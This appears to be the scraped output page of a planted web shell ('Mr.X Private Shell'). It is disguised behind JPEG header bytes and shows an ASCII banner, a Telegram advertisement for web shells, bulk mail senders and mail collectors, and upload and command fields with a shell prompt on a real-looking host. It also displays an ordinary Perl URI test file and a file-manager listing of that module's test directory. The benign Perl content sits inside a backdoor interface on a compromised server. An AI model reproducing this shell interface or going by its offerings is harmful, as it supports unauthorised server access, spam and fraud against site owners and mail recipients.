����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;

use Test::More tests => 48;

use URI ();

my $foo = URI->new("Foo:opaque#frag");

is(ref($foo), "URI::_foreign");

is($foo->as_string, "Foo:opaque#frag");

is("$foo", "Foo:opaque#frag");

# Try accessors
ok($foo->_scheme eq "Foo" && $foo->scheme eq "foo" && !$foo->has_recognized_scheme);

is($foo->opaque, "opaque");

is($foo->fragment, "frag");

is($foo->canonical, "foo:opaque#frag");

# Try modificators
my $old = $foo->scheme("bar");

ok($old eq "foo" && $foo eq "bar:opaque#frag");

$old = $foo->scheme("");
ok($old eq "bar" && $foo eq "opaque#frag");

$old = $foo->scheme("foo");
$old = $foo->scheme(undef);

ok($old eq "foo" && $foo eq "opaque#frag");

$foo->scheme("foo");


$old = $foo->opaque("xxx");
ok($old eq "opaque" && $foo eq "foo:xxx#frag");

$old = $foo->opaque("");
ok($old eq "xxx" && $foo eq "foo:#frag");

$old = $foo->opaque(" #?/");
$old = $foo->opaque(undef);
ok($old eq "%20%23?/" && $foo eq "foo:#frag");

$foo->opaque("opaque");


$old = $foo->fragment("x");
ok($old eq "frag" && $foo eq "foo:opaque#x");

$old = $foo->fragment("");
ok($old eq "x" && $foo eq "foo:opaque#");

$old = $foo->fragment(undef);
ok($old eq "" && $foo eq "foo:opaque");


# Compare
ok($foo->eq("Foo:opaque") &&
   $foo->eq(URI->new("FOO:opaque")) &&
   $foo->eq("foo:opaque"));

ok(!$foo->eq("Bar:opaque") &&
   !$foo->eq("foo:opaque#"));


# Try hierarchal unknown URLs

$foo = URI->new("foo://host:80/path?query#frag");

is("$foo", "foo://host:80/path?query#frag");

# Accessors
is($foo->scheme, "foo");

is($foo->authority, "host:80");

is($foo->path, "/path");

is($foo->query, "query");

is($foo->fragment, "frag");

# Modificators
$old = $foo->authority("xxx");
ok($old eq "host:80" && $foo eq "foo://xxx/path?query#frag");

$old = $foo->authority("");
ok($old eq "xxx" && $foo eq "foo:///path?query#frag");

$old = $foo->authority(undef);
ok($old eq "" && $foo eq "foo:/path?query#frag");

$old = $foo->authority("/? #;@&");
ok(!defined($old) && $foo eq "foo://%2F%3F%20%23;@&/path?query#frag");

$old = $foo->authority("host:80");
ok($old eq "%2F%3F%20%23;@&" && $foo eq "foo://host:80/path?query#frag");


$old = $foo->path("/foo");
ok($old eq "/path" && $foo eq "foo://host:80/foo?query#frag");

$old = $foo->path("bar");
ok($old eq "/foo" && $foo eq "foo://host:80/bar?query#frag");

$old = $foo->path("");
ok($old eq "/bar" && $foo eq "foo://host:80?query#frag");

$old = $foo->path(undef);
ok($old eq "" && $foo eq "foo://host:80?query#frag");

$old = $foo->path("@;/?#");
ok($old eq "" && $foo eq "foo://host:80/@;/%3F%23?query#frag");

$old = $foo->path("path");
ok($old eq "/@;/%3F%23" && $foo eq "foo://host:80/path?query#frag");


$old = $foo->query("foo");
ok($old eq "query" && $foo eq "foo://host:80/path?foo#frag");

$old = $foo->query("");
ok($old eq "foo" && $foo eq "foo://host:80/path?#frag");

$old = $foo->query(undef);
ok($old eq "" && $foo eq "foo://host:80/path#frag");

$old = $foo->query("/?&=# ");
ok(!defined($old) && $foo eq "foo://host:80/path?/?&=%23%20#frag");

$old = $foo->query("query");
ok($old eq "/?&=%23%20" && $foo eq "foo://host:80/path?query#frag");

# Some buildup trics
$foo = URI->new("");
$foo->path("path");
$foo->authority("auth");

is($foo, "//auth/path");

$foo = URI->new("", "http:");
$foo->query("query");
$foo->authority("auth");
ok($foo eq "//auth?query" && $foo->has_recognized_scheme);

$foo->path("path");
is($foo, "//auth/path?query");

$foo = URI->new("");
$old = $foo->path("foo");
ok($old eq "" && $foo eq "foo" && !$foo->has_recognized_scheme);

$old = $foo->path("bar");
ok($old eq "foo" && $foo eq "bar");

$old = $foo->opaque("foo");
ok($old eq "bar" && $foo eq "foo");

$old = $foo->path("");
ok($old eq "foo" && $foo eq "");

$old = $foo->query("q");
ok(!defined($old) && $foo eq "?q");


Filemanager

Name Type Size Permission Actions
00-report-prereqs.dd File 3.7 KB 0644
00-report-prereqs.t File 5.88 KB 0644
abs.t File 5.44 KB 0644
clone.t File 331 B 0644
cwd.t File 176 B 0644
data.t File 2.28 KB 0644
escape-char.t File 613 B 0644
escape.t File 2.88 KB 0644
file.t File 3.61 KB 0644
ftp.t File 803 B 0644
ftpes.t File 231 B 0644
ftps.t File 230 B 0644
generic.t File 3.71 KB 0644
geo_basic.t File 1.72 KB 0644
geo_construct.t File 2.1 KB 0644
geo_point.t File 429 B 0644
gopher.t File 1020 B 0644
heuristic.t File 3.35 KB 0644
http.t File 1.08 KB 0644
icap.t File 1.08 KB 0644
idna.t File 503 B 0644
ipv6.t File 220 B 0644
irc.t File 890 B 0644
ircs.t File 239 B 0644
iri.t File 2.71 KB 0644
ldap.t File 2.38 KB 0644
mailto.t File 2.34 KB 0644
mix.t File 1.44 KB 0644
mms.t File 555 B 0644
news.t File 1.01 KB 0644
num_eq.t File 389 B 0644
old-absconf.t File 730 B 0644
old-base.t File 34.04 KB 0644
old-file.t File 2.71 KB 0644
old-relbase.t File 748 B 0644
otpauth.t File 8.33 KB 0644
path-segments.t File 1000 B 0644
pop.t File 828 B 0644
punycode.t File 2.22 KB 0644
query-param.t File 1.96 KB 0644
query.t File 3.29 KB 0644
rel.t File 541 B 0644
rfc2732.t File 1.86 KB 0644
roy-test.t File 936 B 0644
roytest1.html File 7.32 KB 0644
roytest2.html File 3.56 KB 0644
roytest3.html File 3.01 KB 0644
roytest4.html File 3.63 KB 0644
roytest5.html File 3.28 KB 0644
rsync.t File 263 B 0644
rtsp.t File 651 B 0644
scheme-exceptions.t File 480 B 0644
scp.t File 283 B 0644
sftp.t File 285 B 0644
sip.t File 2.23 KB 0644
smb.t File 838 B 0644
smtp.t File 954 B 0644
sort-hash-query-form.t File 354 B 0644
split.t File 994 B 0644
sq-brackets-legacy.t File 1.08 KB 0644
sq-brackets.t File 8.01 KB 0644
ssh.t File 283 B 0644
storable-test.pl File 577 B 0644
storable.t File 234 B 0644
urn-isbn.t File 746 B 0644
urn-oid.t File 278 B 0644
urn-scheme-exceptions.t File 525 B 0644
userpass.t File 429 B 0644
utf8.t File 543 B 0644
ws.t File 1.06 KB 0644